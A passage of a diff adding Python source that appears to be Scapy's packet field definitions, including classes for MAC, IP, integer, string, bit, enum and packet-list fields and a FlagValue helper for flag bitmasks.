+
+
+class PadField(object):
+    """Add bytes after the proxified field so that it ends at the specified
+       alignment from its beginning"""
+    __slots__ = ["_fld", "_align", "_padwith"]
+    def __init__(self, fld, align, padwith=None):
+        self._fld = fld
+        self._align = align
+        self._padwith = padwith or b""
+
+    def padlen(self, flen):
+        return -flen%self._align
+
+    def getfield(self, pkt, s):
+        remain,val = self._fld.getfield(pkt,s)
+        padlen = self.padlen(len(s)-len(remain))
+        return remain[padlen:], val
+
+    def addfield(self, pkt, s, val):
+        sval = self._fld.addfield(pkt, b"", val)
+        return s+sval+struct.pack("%is" % (self.padlen(len(sval))), self._padwith)
+
+    def __getattr__(self, attr):
+        return getattr(self._fld,attr)
+
+
+class DestField(Field):
+    __slots__ = ["defaultdst"]
+    # Each subclass must have its own bindings attribute
+    # bindings = {}
+    def __init__(self, name, default):
+        self.defaultdst = default
+    def dst_from_pkt(self, pkt):
+        for addr, condition in self.bindings.get(pkt.payload.__class__, []):
+            try:
+                if all(pkt.payload.getfieldval(field) == value
+                       for field, value in six.iteritems(condition)):
+                    return addr
+            except AttributeError:
+                pass
+        return self.defaultdst
+    @classmethod
+    def bind_addr(cls, layer, addr, **condition):
+        cls.bindings.setdefault(layer, []).append((addr, condition))
+
+
+class MACField(Field):
+    def __init__(self, name, default):
+        Field.__init__(self, name, default, "6s")
+    def i2m(self, pkt, x):
+        if x is None:
+            return b"\0\0\0\0\0\0"
+        return mac2str(x)
+    def m2i(self, pkt, x):
+        return str2mac(x)
+    def any2i(self, pkt, x):
+        if isinstance(x, bytes) and len(x) == 6:
+            x = self.m2i(pkt, x)
+        return x
+    def i2repr(self, pkt, x):
+        x = self.i2h(pkt, x)
+        if self in conf.resolve:
+            x = conf.manufdb._resolve_MAC(x)
+        return x
+    def randval(self):
+        return RandMAC()
+
+
+class IPField(Field):
+    slots = []
+    def __init__(self, name, default):
+        Field.__init__(self, name, default, "4s")
+    def h2i(self, pkt, x):
+        if isinstance(x, bytes):
+            x = plain_str(x)
+        if isinstance(x, str):
+            try:
+                inet_aton(x)
+            except socket.error:
+                x = Net(x)
+        elif isinstance(x, list):
+            x = [self.h2i(pkt, n) for n in x]
+        return x
+    def resolve(self, x):
+        if self in conf.resolve:
+            try:
+                ret = socket.gethostbyaddr(x)[0]
+            except:
+                pass
+            else:
+                if ret:
+                    return ret
+        return x
+    def i2m(self, pkt, x):
+        return inet_aton(x)
+    def m2i(self, pkt, x):
+        return inet_ntoa(x)
+    def any2i(self, pkt, x):
+        return self.h2i(pkt,x)
+    def i2repr(self, pkt, x):
+        return self.resolve(self.i2h(pkt, x))
+    def randval(self):
+        return RandIP()
+
+class SourceIPField(IPField):
+    __slots__ = ["dstname"]
+    def __init__(self, name, dstname):
+        IPField.__init__(self, name, None)
+        self.dstname = dstname
+    def __findaddr(self, pkt):
+        if conf.route is None:
+            # unused import, only to initialize conf.route
+            import scapy.route
+        dst = ("0.0.0.0" if self.dstname is None
+               else getattr(pkt, self.dstname))
+        if isinstance(dst, (Gen, list)):
+            r = {conf.route.route(daddr) for daddr in dst}
+            if len(r) > 1:
+                warning("More than one possible route for %r" % (dst,))
+            return min(r)[1]
+        return conf.route.route(dst)[1]
+    def i2m(self, pkt, x):
+        if x is None:
+            x = self.__findaddr(pkt)
+        return IPField.i2m(self, pkt, x)
+    def i2h(self, pkt, x):
+        if x is None:
+            x = self.__findaddr(pkt)
+        return IPField.i2h(self, pkt, x)
+
+
+
+
+class ByteField(Field):
+    def __init__(self, name, default):
+        Field.__init__(self, name, default, "B")
+
+class XByteField(ByteField):
+    def i2repr(self, pkt, x):
+        return lhex(self.i2h(pkt, x))
+
+class OByteField(ByteField):
+    def i2repr(self, pkt, x):
+        return "%03o"%self.i2h(pkt, x)
+
+class X3BytesField(XByteField):
+    def __init__(self, name, default):
+        Field.__init__(self, name, default, "!I")
+    def addfield(self, pkt, s, val):
+        return s+struct.pack(self.fmt, self.i2m(pkt,val))[1:4]
+    def getfield(self, pkt, s):
+        return  s[3:], self.m2i(pkt, struct.unpack(self.fmt, b"\x00"+s[:3])[0])
+
+class ThreeBytesField(X3BytesField, ByteField):
+    def i2repr(self, pkt, x):
+        return ByteField.i2repr(self, pkt, x)
+
+class SignedByteField(Field):
+    def __init__(self, name, default):
+        Field.__init__(self, name, default, "b")
+
+class ShortField(Field):
+    def __init__(self, name, default):
+        Field.__init__(self, name, default, "H")
+
+class SignedShortField(Field):
+    def __init__(self, name, default):
+        Field.__init__(self, name, default, "h")
+
+class LEShortField(Field):
+    def __init__(self, name, default):
+        Field.__init__(self, name, default, "<H")
+
+class XShortField(ShortField):
+    def i2repr(self, pkt, x):
+        return lhex(self.i2h(pkt, x))
+
+
+class IntField(Field):
+    def __init__(self, name, default):
+        Field.__init__(self, name, default, "I")
+
+class SignedIntField(Field):
+    def __init__(self, name, default):
+        Field.__init__(self, name, default, "i")
+    def randval(self):
+        return RandSInt()
+
+class LEIntField(Field):
+    def __init__(self, name, default):
+        Field.__init__(self, name, default, "<I")
+
+class LESignedIntField(Field):
+    def __init__(self, name, default):
+        Field.__init__(self, name, default, "<i")
+    def randval(self):
+        return RandSInt()
+
+class XIntField(IntField):
+    def i2repr(self, pkt, x):
+        return lhex(self.i2h(pkt, x))
+
+
+class LongField(Field):
+    def __init__(self, name, default):
+        Field.__init__(self, name, default, "Q")
+
+class LELongField(LongField):
+    def __init__(self, name, default):
+        Field.__init__(self, name, default, "<Q")
+
+class XLongField(LongField):
+    def i2repr(self, pkt, x):
+        return lhex(self.i2h(pkt, x))
+
+class IEEEFloatField(Field):
+    def __init__(self, name, default):
+        Field.__init__(self, name, default, "f")
+
+class IEEEDoubleField(Field):
+    def __init__(self, name, default):
+        Field.__init__(self, name, default, "d")
+
+
+class StrField(Field):
+    __slots__ = ["remain"]
+    def __init__(self, name, default, fmt="H", remain=0):
+        Field.__init__(self,name,default,fmt)
+        self.remain = remain
+    def i2len(self, pkt, i):
+        return len(i)
+    def any2i(self, pkt, x):
+        if isinstance(x, str if six.PY3 else unicode):
+            x = raw(x)
+        return super(StrField, self).any2i(pkt, x)
+    def i2repr(self, pkt, x):
+        val = super(StrField, self).i2repr(pkt, x)
+        if val[:2] in ['b"', "b'"]:
+            return val[1:]
+        return val
+    def i2m(self, pkt, x):
+        if x is None:
+            return b""
+        if not isinstance(x, bytes):
+            return raw(x)
+        return x
+    def addfield(self, pkt, s, val):
+        return s + self.i2m(pkt, val)
+    def getfield(self, pkt, s):
+        if self.remain == 0:
+            return b"", self.m2i(pkt, s)
+        else:
+            return s[-self.remain:],self.m2i(pkt, s[:-self.remain])
+    def randval(self):
+        return RandBin(RandNum(0,1200))
+
+class PacketField(StrField):
+    __slots__ = ["cls"]
+    holds_packets = 1
+    def __init__(self, name, default, cls, remain=0):
+        StrField.__init__(self, name, default, remain=remain)
+        self.cls = cls
+    def i2m(self, pkt, i):
+        if i is None:
+            return b""
+        return raw(i)
+    def m2i(self, pkt, m):
+        return self.cls(m)
+    def getfield(self, pkt, s):
+        i = self.m2i(pkt, s)
+        remain = b""
+        if conf.padding_layer in i:
+            r = i[conf.padding_layer]
+            del(r.underlayer.payload)
+            remain = r.load
+        return remain,i
+
+class PacketLenField(PacketField):
+    __slots__ = ["length_from"]
+    def __init__(self, name, default, cls, length_from=None):
+        PacketField.__init__(self, name, default, cls)
+        self.length_from = length_from
+    def getfield(self, pkt, s):
+        l = self.length_from(pkt)
+        try:
+            i = self.m2i(pkt, s[:l])
+        except Exception:
+            if conf.debug_dissector:
+                raise
+            i = conf.raw_layer(load=s[:l])
+        return s[l:],i
+
+
+class PacketListField(PacketField):
+    """ PacketListField represents a series of Packet instances that might occur right in the middle of another Packet
+    field list.
+    This field type may also be used to indicate that a series of Packet instances have a sibling semantic instead of
+    a parent/child relationship (i.e. a stack of layers).
+    """
+    __slots__ = ["count_from", "length_from", "next_cls_cb"]
+    islist = 1
+    def __init__(self, name, default, cls=None, count_from=None, length_from=None, next_cls_cb=None):
+        """ The number of Packet instances that are dissected by this field can be parametrized using one of three
+        different mechanisms/parameters:
+            * count_from: a callback that returns the number of Packet instances to dissect. The callback prototype is:
+            count_from(pkt:Packet) -> int
+            * length_from: a callback that returns the number of bytes that must be dissected by this field. The
+            callback prototype is:
+            length_from(pkt:Packet) -> int
+            * next_cls_cb: a callback that enables a Scapy developer to dynamically discover if another Packet instance
+            should be dissected or not. See below for this callback prototype.
+
+        The bytes that are not consumed during the dissection of this field are passed to the next field of the current
+        packet.
+
+        For the serialization of such a field, the list of Packets that are contained in a PacketListField can be
+        heterogeneous and is unrestricted.
+
+        The type of the Packet instances that are dissected with this field is specified or discovered using one of the
+        following mechanism:
+            * the cls parameter may contain a callable that returns an instance of the dissected Packet. This
+                may either be a reference of a Packet subclass (e.g. DNSRROPT in layers/dns.py) to generate an
+                homogeneous PacketListField or a function deciding the type of the Packet instance
+                (e.g. _CDPGuessAddrRecord in contrib/cdp.py)
+            * the cls parameter may contain a class object with a defined "dispatch_hook" classmethod. That
+                method must return a Packet instance. The dispatch_hook callmethod must implement the following prototype:
+                dispatch_hook(cls, _pkt:Optional[Packet], *args, **kargs) -> Packet_metaclass
+                The _pkt parameter may contain a reference to the packet instance containing the PacketListField that is
+                being dissected.
+            * the next_cls_cb parameter may contain a callable whose prototype is:
+                cbk(pkt:Packet, lst:List[Packet], cur:Optional[Packet], remain:str) -> Optional[Packet_metaclass]
+                The pkt argument contains a reference to the Packet instance containing the PacketListField that is
+                being dissected. The lst argument is the list of all Packet instances that were previously parsed during
+                the current PacketListField dissection, save for the very last Packet instance. The cur argument
+                contains a reference to that very last parsed Packet instance. The remain argument contains the bytes
+                that may still be consumed by the current PacketListField dissection operation. This callback returns
+                either the type of the next Packet to dissect or None to indicate that no more Packet are to be
+                dissected.
+                These four arguments allows a variety of dynamic discovery of the number of Packet to dissect and of the
+                type of each one of these Packets, including: type determination based on current Packet instances or
+                its underlayers, continuation based on the previously parsed Packet instances within that
+                PacketListField, continuation based on a look-ahead on the bytes to be dissected...
+
+        The cls and next_cls_cb parameters are semantically exclusive, although one could specify both. If both are
+        specified, cls is silently ignored. The same is true for count_from and next_cls_cb.
+        length_from and next_cls_cb are compatible and the dissection will end, whichever of the two stop conditions
+        comes first.
+
+        @param name: the name of the field
+        @param default: the default value of this field; generally an empty Python list
+        @param cls: either a callable returning a Packet instance or a class object defining a dispatch_hook class
+            method
+        @param count_from: a callback returning the number of Packet instances to dissect
+        @param length_from: a callback returning the number of bytes to dissect
+        @param next_cls_cb: a callback returning either None or the type of the next Packet to dissect.
+        """
+        if default is None:
+            default = []  # Create a new list for each instance
+        PacketField.__init__(self, name, default, cls)
+        self.count_from = count_from
+        self.length_from = length_from
+        self.next_cls_cb = next_cls_cb
+
+    def any2i(self, pkt, x):
+        if not isinstance(x, list):
+            return [x]
+        else:
+            return x
+    def i2count(self, pkt, val):
+        if isinstance(val, list):
+            return len(val)
+        return 1
+    def i2len(self, pkt, val):
+        return sum( len(p) for p in val )
+    def do_copy(self, x):
+        if x is None:
+            return None
+        else:
+            return [p if isinstance(p, six.string_types) else p.copy() for p in x]
+    def getfield(self, pkt, s):
+        c = l = cls = None
+        if self.length_from is not None:
+            l = self.length_from(pkt)
+        elif self.count_from is not None:
+            c = self.count_from(pkt)
+        if self.next_cls_cb is not None:
+            cls = self.next_cls_cb(pkt, [], None, s)
+            c = 1
+
+        lst = []
+        ret = b""
+        remain = s
+        if l is not None:
+            remain,ret = s[:l],s[l:]
+        while remain:
+            if c is not None:
+                if c <= 0:
+                    break
+                c -= 1
+            try:
+                if cls is not None:
+                    p = cls(remain)
+                else:
+                    p = self.m2i(pkt, remain)
+            except Exception:
+                if conf.debug_dissector:
+                    raise
+                p = conf.raw_layer(load=remain)
+                remain = b""
+            else:
+                if conf.padding_layer in p:
+                    pad = p[conf.padding_layer]
+                    remain = pad.load
+                    del(pad.underlayer.payload)
+                    if self.next_cls_cb is not None:
+                        cls = self.next_cls_cb(pkt, lst, p, remain)
+                        if cls is not None:
+                            c += 1
+                else:
+                    remain = b""
+            lst.append(p)
+        return remain+ret,lst
+    def addfield(self, pkt, s, val):
+        return s + b"".join(raw(v) for v in val)
+
+
+class StrFixedLenField(StrField):
+    __slots__ = ["length_from"]
+    def __init__(self, name, default, length=None, length_from=None):
+        StrField.__init__(self, name, default)
+        self.length_from  = length_from
+        if length is not None:
+            self.length_from = lambda pkt,length=length: length
+    def i2repr(self, pkt, v):
+        if isinstance(v, bytes):
+            v = v.rstrip(b"\0")
+        return super(StrFixedLenField, self).i2repr(pkt, v)
+    def getfield(self, pkt, s):
+        l = self.length_from(pkt)
+        return s[l:], self.m2i(pkt,s[:l])
+    def addfield(self, pkt, s, val):
+        l = self.length_from(pkt)
+        return s+struct.pack("%is"%l,self.i2m(pkt, val))
+    def randval(self):
+        try:
+            l = self.length_from(None)
+        except:
+            l = RandNum(0,200)
+        return RandBin(l)
+
+class StrFixedLenEnumField(StrFixedLenField):
+    __slots__ = ["enum"]
+    def __init__(self, name, default, length=None, enum=None, length_from=None):
+        StrFixedLenField.__init__(self, name, default, length=length, length_from=length_from)
+        self.enum = enum
+    def i2repr(self, pkt, v):
+        r = v.rstrip("\0")
+        rr = repr(r)
+        if v in self.enum:
+            rr = "%s (%s)" % (rr, self.enum[v])
+        elif r in self.enum:
+            rr = "%s (%s)" % (rr, self.enum[r])
+        return rr
+
+class NetBIOSNameField(StrFixedLenField):
+    def __init__(self, name, default, length=31):
+        StrFixedLenField.__init__(self, name, default, length)
+    def i2m(self, pkt, x):
+        l = self.length_from(pkt)//2
+        if x is None:
+            x = b""
+        x += b" "*(l)
+        x = x[:l]
+        x = b"".join(chb(0x41 + orb(b)>>4) + chb(0x41 + orb(b)&0xf) for b in x)
+        x = b" "+x
+        return x
+    def m2i(self, pkt, x):
+        x = x.strip(b"\x00").strip(b" ")
+        return b"".join(map(lambda x,y: chb((((orb(x)-1)&0xf)<<4)+((orb(y)-1)&0xf)), x[::2],x[1::2]))
+
+class StrLenField(StrField):
+    __slots__ = ["length_from"]
+    def __init__(self, name, default, fld=None, length_from=None):
+        StrField.__init__(self, name, default)
+        self.length_from = length_from
+    def getfield(self, pkt, s):
+        l = self.length_from(pkt)
+        return s[l:], self.m2i(pkt,s[:l])
+
+class XStrField(StrField):
+    """
+    StrField which value is printed as hexadecimal.
+    """
+
+    def i2repr(self, pkt, x):
+        if x is None:
+            return repr(x)
+        return bytes_hex(x).decode()
+
+class XStrLenField(StrLenField):
+    """
+    StrLenField which value is printed as hexadecimal.
+    """
+
+    def i2repr(self, pkt, x):
+        if not x:
+            return repr(x)
+        return bytes_hex(x[:self.length_from(pkt)]).decode()
+
+class XStrFixedLenField(StrFixedLenField):
+    """
+    StrFixedLenField which value is printed as hexadecimal.
+    """
+
+    def i2repr(self, pkt, x):
+        if not x:
+            return repr(x)
+        return bytes_hex(x[:self.length_from(pkt)]).decode()
+
+class StrLenFieldUtf16(StrLenField):
+    def h2i(self, pkt, x):
+        return plain_str(x).encode('utf-16')[2:]
+    def i2h(self, pkt, x):
+        return x.decode('utf-16')
+
+class BoundStrLenField(StrLenField):
+    __slots__ = ["minlen", "maxlen"]
+    def __init__(self,name, default, minlen= 0, maxlen= 255, fld=None, length_from=None):
+        StrLenField.__init__(self, name, default, fld, length_from)
+        self.minlen = minlen
+        self.maxlen = maxlen
+
+    def randval(self):
+        return RandBin(RandNum(self.minlen, self.maxlen))
+
+class FieldListField(Field):
+    __slots__ = ["field", "count_from", "length_from"]
+    islist = 1
+    def __init__(self, name, default, field, length_from=None, count_from=None):
+        if default is None:
+            default = []  # Create a new list for each instance
+        self.field = field
+        Field.__init__(self, name, default)
+        self.count_from = count_from
+        self.length_from = length_from
+
+    def i2count(self, pkt, val):
+        if isinstance(val, list):
+            return len(val)
+        return 1
+    def i2len(self, pkt, val):
+        return int(sum(self.field.i2len(pkt,v) for v in val))
+
+    def i2m(self, pkt, val):
+        if val is None:
+            val = []
+        return val
+    def any2i(self, pkt, x):
+        if not isinstance(x, list):
+            return [self.field.any2i(pkt, x)]
+        else:
+            return [self.field.any2i(pkt, e) for e in x]
+    def i2repr(self, pkt, x):
+        res = []
+        for v in x:
+            r = self.field.i2repr(pkt, v)
+            res.append(r)
+        return "[%s]" % ", ".join(res)
+    def addfield(self, pkt, s, val):
+        val = self.i2m(pkt, val)
+        for v in val:
+            s = self.field.addfield(pkt, s, v)
+        return s
+    def getfield(self, pkt, s):
+        c = l = None
+        if self.length_from is not None:
+            l = self.length_from(pkt)
+        elif self.count_from is not None:
+            c = self.count_from(pkt)
+
+        val = []
+        ret = b""
+        if l is not None:
+            s,ret = s[:l],s[l:]
+
+        while s:
+            if c is not None:
+                if c <= 0:
+                    break
+                c -= 1
+            s,v = self.field.getfield(pkt, s)
+            val.append(v)
+        return s+ret, val
+
+class FieldLenField(Field):
+    __slots__ = ["length_of", "count_of", "adjust"]
+    def __init__(self, name, default,  length_of=None, fmt = "H", count_of=None, adjust=lambda pkt,x:x, fld=None):
+        Field.__init__(self, name, default, fmt)
+        self.length_of = length_of
+        self.count_of = count_of
+        self.adjust = adjust
+        if fld is not None:
+            #FIELD_LENGTH_MANAGEMENT_DEPRECATION(self.__class__.__name__)
+            self.length_of = fld
+    def i2m(self, pkt, x):
+        if x is None:
+            if self.length_of is not None:
+                fld,fval = pkt.getfield_and_val(self.length_of)
+                f = fld.i2len(pkt, fval)
+            else:
+                fld,fval = pkt.getfield_and_val(self.count_of)
+                f = fld.i2count(pkt, fval)
+            x = self.adjust(pkt,f)
+        return x
+
+class StrNullField(StrField):
+    def addfield(self, pkt, s, val):
+        return s+self.i2m(pkt, val)+b"\x00"
+    def getfield(self, pkt, s):
+        l = s.find(b"\x00")
+        if l < 0:
+            #XXX \x00 not found
+            return b"",s
+        return s[l+1:],self.m2i(pkt, s[:l])
+    def randval(self):
+        return RandTermString(RandNum(0,1200),b"\x00")
+
+class StrStopField(StrField):
+    __slots__ = ["stop", "additionnal"]
+    def __init__(self, name, default, stop, additionnal=0):
+        Field.__init__(self, name, default)
+        self.stop = stop
+        self.additionnal = additionnal
+    def getfield(self, pkt, s):
+        l = s.find(self.stop)
+        if l < 0:
+            return b"",s
+#            raise Scapy_Exception,"StrStopField: stop value [%s] not found" %stop
+        l += len(self.stop)+self.additionnal
+        return s[l:],s[:l]
+    def randval(self):
+        return RandTermString(RandNum(0,1200),self.stop)
+
+class LenField(Field):
+    __slots__ = ["adjust"]
+    def __init__(self, name, default, fmt="H", adjust=lambda x: x):
+        Field.__init__(self, name, default, fmt)
+        self.adjust = adjust
+    def i2m(self, pkt, x):
+        if x is None:
+            x = self.adjust(len(pkt.payload))
+        return x
+
+class BCDFloatField(Field):
+    def i2m(self, pkt, x):
+        return int(256*x)
+    def m2i(self, pkt, x):
+        return x/256.0
+
+class BitField(Field):
+    __slots__ = ["rev", "size"]
+    def __init__(self, name, default, size):
+        Field.__init__(self, name, default)
+        self.rev = size < 0
+        self.size = abs(size)
+    def reverse(self, val):
+        if self.size == 16:
+            # Replaces socket.ntohs (but work on both little/big endian)
+            val = struct.unpack('>H',struct.pack('<H', int(val)))[0]
+        elif self.size == 32:
+            # Same here but for socket.ntohl
+            val = struct.unpack('>I',struct.pack('<I', int(val)))[0]
+        return val
+
+    def addfield(self, pkt, s, val):
+        val = self.i2m(pkt, val)
+        if isinstance(s, tuple):
+            s,bitsdone,v = s
+        else:
+            bitsdone = 0
+            v = 0
+        if self.rev:
+            val = self.reverse(val)
+        v <<= self.size
+        v |= val & ((1<<self.size) - 1)
+        bitsdone += self.size
+        while bitsdone >= 8:
+            bitsdone -= 8
+            s = s+struct.pack("!B", v >> bitsdone)
+            v &= (1<<bitsdone)-1
+        if bitsdone:
+            return s,bitsdone,v
+        else:
+            return s
+    def getfield(self, pkt, s):
+        if isinstance(s, tuple):
+            s,bn = s
+        else:
+            bn = 0
+        # we don't want to process all the string
+        nb_bytes = (self.size+bn-1)//8 + 1
+        w = s[:nb_bytes]
+
+        # split the substring byte by byte
+        _bytes = struct.unpack('!%dB' % nb_bytes , w)
+
+        b = 0
+        for c in range(nb_bytes):
+            b |= int(_bytes[c]) << (nb_bytes-c-1)*8
+
+        # get rid of high order bits
+        b &= (1 << (nb_bytes*8-bn)) - 1
+
+        # remove low order bits
+        b = b >> (nb_bytes*8 - self.size - bn)
+
+        if self.rev:
+            b = self.reverse(b)
+
+        bn += self.size
+        s = s[bn//8:]
+        bn = bn%8
+        b = self.m2i(pkt, b)
+        if bn:
+            return (s,bn),b
+        else:
+            return s,b
+    def randval(self):
+        return RandNum(0,2**self.size-1)
+    def i2len(self, pkt, x):
+        return float(self.size)/8
+
+
+class BitFieldLenField(BitField):
+    __slots__ = ["length_of", "count_of", "adjust"]
+    def __init__(self, name, default, size, length_of=None, count_of=None, adjust=lambda pkt,x:x):
+        BitField.__init__(self, name, default, size)
+        self.length_of = length_of
+        self.count_of = count_of
+        self.adjust = adjust
+    def i2m(self, pkt, x):
+        return (FieldLenField.i2m.__func__ if six.PY2 else FieldLenField.i2m)(self, pkt, x)
+
+
+class XBitField(BitField):
+    def i2repr(self, pkt, x):
+        return lhex(self.i2h(pkt,x))
+
+
+class _EnumField(Field):
+    def __init__(self, name, default, enum, fmt = "H"):
+        """ Initializes enum fields.
+
+        @param name:    name of this field
+        @param default: default value of this field
+        @param enum:    either a dict or a tuple of two callables. Dict keys are
+                        the internal values, while the dict values are the
+                        user-friendly representations. If the tuple is provided,
+                        the first callable receives the internal value as
+                        parameter and returns the user-friendly representation
+                        and the second callable does the converse. The first
+                        callable may return None to default to a literal string
+                        (repr()) representation.
+        @param fmt:     struct.pack format used to parse and serialize the
+                        internal value from and to machine representation.
+        """
+        if isinstance(enum, tuple):
+            self.i2s_cb = enum[0]
+            self.s2i_cb = enum[1]
+            self.i2s = None
+            self.s2i = None
+        else:
+            i2s = self.i2s = {}
+            s2i = self.s2i = {}
+            self.i2s_cb = None
+            self.s2i_cb = None
+            if isinstance(enum, list):
+                keys = range(len(enum))
+            elif isinstance(enum, DADict):
+                keys = enum.iterkeys()
+            else:
+                keys = list(enum)
+            if any(isinstance(x, str) for x in keys):
+                i2s, s2i = s2i, i2s
+            for k in keys:
+                i2s[k] = enum[k]
+                s2i[enum[k]] = k
+        Field.__init__(self, name, default, fmt)
+
+    def any2i_one(self, pkt, x):
+        if isinstance(x, str):
+            try:
+                x = self.s2i[x]
+            except TypeError:
+                x = self.s2i_cb(x)
+        return x
+
+    def i2repr_one(self, pkt, x):
+        if self not in conf.noenum and not isinstance(x,VolatileValue):
+            try:
+                return self.i2s[x]
+            except KeyError:
+                pass
+            except TypeError:
+                ret = self.i2s_cb(x)
+                if ret is not None:
+                    return ret
+        return repr(x)
+
+    def any2i(self, pkt, x):
+        if isinstance(x, list):
+            return [self.any2i_one(pkt, z) for z in x]
+        else:
+            return self.any2i_one(pkt,x)
+
+    def i2repr(self, pkt, x):
+        if isinstance(x, list):
+            return [self.i2repr_one(pkt, z) for z in x]
+        else:
+            return self.i2repr_one(pkt,x)
+
+class EnumField(_EnumField):
+    __slots__ = ["i2s", "s2i", "s2i_cb", "i2s_cb"]
+
+class CharEnumField(EnumField):
+    def __init__(self, name, default, enum, fmt = "1s"):
+        EnumField.__init__(self, name, default, enum, fmt)
+        if self.i2s is not None:
+            k = list(self.i2s)
+            if k and len(k[0]) != 1:
+                self.i2s,self.s2i = self.s2i,self.i2s
+    def any2i_one(self, pkt, x):
+        if len(x) != 1:
+            if self.s2i is None:
+                x = self.s2i_cb(x)
+            else:
+                x = self.s2i[x]
+        return x
+
+class BitEnumField(BitField, _EnumField):
+    __slots__ = EnumField.__slots__
+    def __init__(self, name, default, size, enum):
+        _EnumField.__init__(self, name, default, enum)
+        self.rev = size < 0
+        self.size = abs(size)
+    def any2i(self, pkt, x):
+        return _EnumField.any2i(self, pkt, x)
+    def i2repr(self, pkt, x):
+        return _EnumField.i2repr(self, pkt, x)
+
+class ShortEnumField(EnumField):
+    __slots__ = EnumField.__slots__
+    def __init__(self, name, default, enum):
+        EnumField.__init__(self, name, default, enum, "H")
+
+class LEShortEnumField(EnumField):
+    def __init__(self, name, default, enum):
+        EnumField.__init__(self, name, default, enum, "<H")
+
+class ByteEnumField(EnumField):
+    def __init__(self, name, default, enum):
+        EnumField.__init__(self, name, default, enum, "B")
+
+class IntEnumField(EnumField):
+    def __init__(self, name, default, enum):
+        EnumField.__init__(self, name, default, enum, "I")
+
+class SignedIntEnumField(EnumField):
+    def __init__(self, name, default, enum):
+        EnumField.__init__(self, name, default, enum, "i")
+    def randval(self):
+        return RandSInt()
+
+class LEIntEnumField(EnumField):
+    def __init__(self, name, default, enum):
+        EnumField.__init__(self, name, default, enum, "<I")
+
+class XShortEnumField(ShortEnumField):
+    def i2repr_one(self, pkt, x):
+        if self not in conf.noenum and not isinstance(x,VolatileValue):
+            try:
+                return self.i2s[x]
+            except KeyError:
+                pass
+            except TypeError:
+                ret = self.i2s_cb(x)
+                if ret is not None:
+                    return ret
+        return lhex(x)
+
+
+class _MultiEnumField(_EnumField):
+    def __init__(self, name, default, enum, depends_on, fmt = "H"):
+
+        self.depends_on = depends_on
+        self.i2s_multi = enum
+        self.s2i_multi = {}
+        self.s2i_all = {}
+        for m in enum:
+            self.s2i_multi[m] = s2i = {}
+            for k,v in six.iteritems(enum[m]):
+                s2i[v] = k
+                self.s2i_all[v] = k
+        Field.__init__(self, name, default, fmt)
+    def any2i_one(self, pkt, x):
+        if isinstance(x, str):
+            v = self.depends_on(pkt)
+            if v in self.s2i_multi:
+                s2i = self.s2i_multi[v]
+                if x in s2i:
+                    return s2i[x]
+            return self.s2i_all[x]
+        return x
+    def i2repr_one(self, pkt, x):
+        v = self.depends_on(pkt)
+        if v in self.i2s_multi:
+            return self.i2s_multi[v].get(x,x)
+        return x
+
+class MultiEnumField(_MultiEnumField, EnumField):
+    __slots__ = ["depends_on", "i2s_multi", "s2i_multi", "s2i_all"]
+
+class BitMultiEnumField(BitField, _MultiEnumField):
+    __slots__ = EnumField.__slots__ + MultiEnumField.__slots__
+    def __init__(self, name, default, size, enum, depends_on):
+        _MultiEnumField.__init__(self, name, default, enum, depends_on)
+        self.rev = size < 0
+        self.size = abs(size)
+    def any2i(self, pkt, x):
+        return _MultiEnumField.any2i(self, pkt, x)
+    def i2repr(self, pkt, x):
+        return _MultiEnumField.i2repr(self, pkt, x)
+
+
+class ByteEnumKeysField(ByteEnumField):
+    """ByteEnumField that picks valid values when fuzzed. """
+    def randval(self):
+        return RandEnumKeys(self.i2s)
+
+
+class ShortEnumKeysField(ShortEnumField):
+    """ShortEnumField that picks valid values when fuzzed. """
+    def randval(self):
+        return RandEnumKeys(self.i2s)
+
+
+class IntEnumKeysField(IntEnumField):
+    """IntEnumField that picks valid values when fuzzed. """
+    def randval(self):
+        return RandEnumKeys(self.i2s)
+
+
+# Little endian long field
+class LELongField(Field):
+    def __init__(self, name, default):
+        Field.__init__(self, name, default, "<Q")
+
+# Little endian fixed length field
+class LEFieldLenField(FieldLenField):
+    def __init__(self, name, default,  length_of=None, fmt = "<H", count_of=None, adjust=lambda pkt,x:x, fld=None):
+        FieldLenField.__init__(self, name, default, length_of=length_of, fmt=fmt, count_of=count_of, fld=fld, adjust=adjust)
+
+
+class FlagValue(object):
+    __slots__ = ["value", "names", "multi"]
+    def _fixvalue(self, value):
+        if isinstance(value, six.string_types):
+            value = value.split('+') if self.multi else list(value)
+        if isinstance(value, list):
+            y = 0
+            for i in value:
+                y |= 1 << self.names.index(i)
+            value = y
+        return None if value is None else int(value)
+    def __init__(self, value, names):
+        self.multi = isinstance(names, list)
+        self.names = names
+        self.value = self._fixvalue(value)
+    def __hash__(self):
+        return hash(self.value)
+    def __int__(self):
+        return self.value
+    def __eq__(self, other):
+        return self.value == self._fixvalue(other)
+    def __lt__(self, other):
+        return self.value < self._fixvalue(other)
+    def __le__(self, other):
+        return self.value <= self._fixvalue(other)
+    def __gt__(self, other):
+        return self.value > self._fixvalue(other)
+    def __ge__(self, other):
+        return self.value >= self._fixvalue(other)
+    def __ne__(self, other):
+        return self.value != self._fixvalue(other)
+    def __and__(self, other):
+        return self.__class__(self.value & self._fixvalue(other), self.names)
+    __rand__ = __and__
+    def __or__(self, other):
+        return self.__class__(self.value | self._fixvalue(other), self.names)
+    __ror__ = __or__
+    def __lshift__(self, other):
+        return self.value << self._fixvalue(other)
+    def __rshift__(self, other):
+        return self.value >> self._fixvalue(other)
+    def __nonzero__(self):
+        return bool(self.value)
+    __bool__ = __nonzero__
+    def flagrepr(self):
+        warning("obj.flagrepr() is obsolete. Use str(obj) instead.")
+        return str(self)
+    def __str__(self):
+        i = 0
+        r = []
+        x = int(self)
+        while x:
+            if x & 1:
+                r.append(self.names[i])
+            i += 1
+            x >>= 1
+        return ("+" if self.multi else "").join(r)
+    def __repr__(self):
+        return "<Flag %d (%s)>" % (self, self)
+    def __deepcopy__(self, memo):
+        return self.__class__(int(self), self.names)
+    def __getattr__(self, attr):
+        if attr in self.__slots__:
+            return super(FlagValue, self).__getattr__(attr)
+        try:
+            if self.multi:
+                return bool((2 ** self.names.index(attr)) & int(self))
+            return all(bool((2 ** self.names.index(flag)) & int(self))
+                       for flag in attr)
+        except ValueError:
+            return super(FlagValue, self).__getattr__(attr)
+    def __setattr__(self, attr, value):
+        if attr == "value" and not isinstance(value, six.integer_types):
+            raise ValueError(value)
+        if attr in self.__slots__:
+            return super(FlagValue, self).__setattr__(attr, value)
+        if attr in self.names:
+            if value:
+                self.value |= (2 ** self.names.index(attr))
+            else:
+                self.value &= ~(2 ** self.names.index(attr))
+        else:
+            return super(FlagValue, self).__setattr__(attr, value)
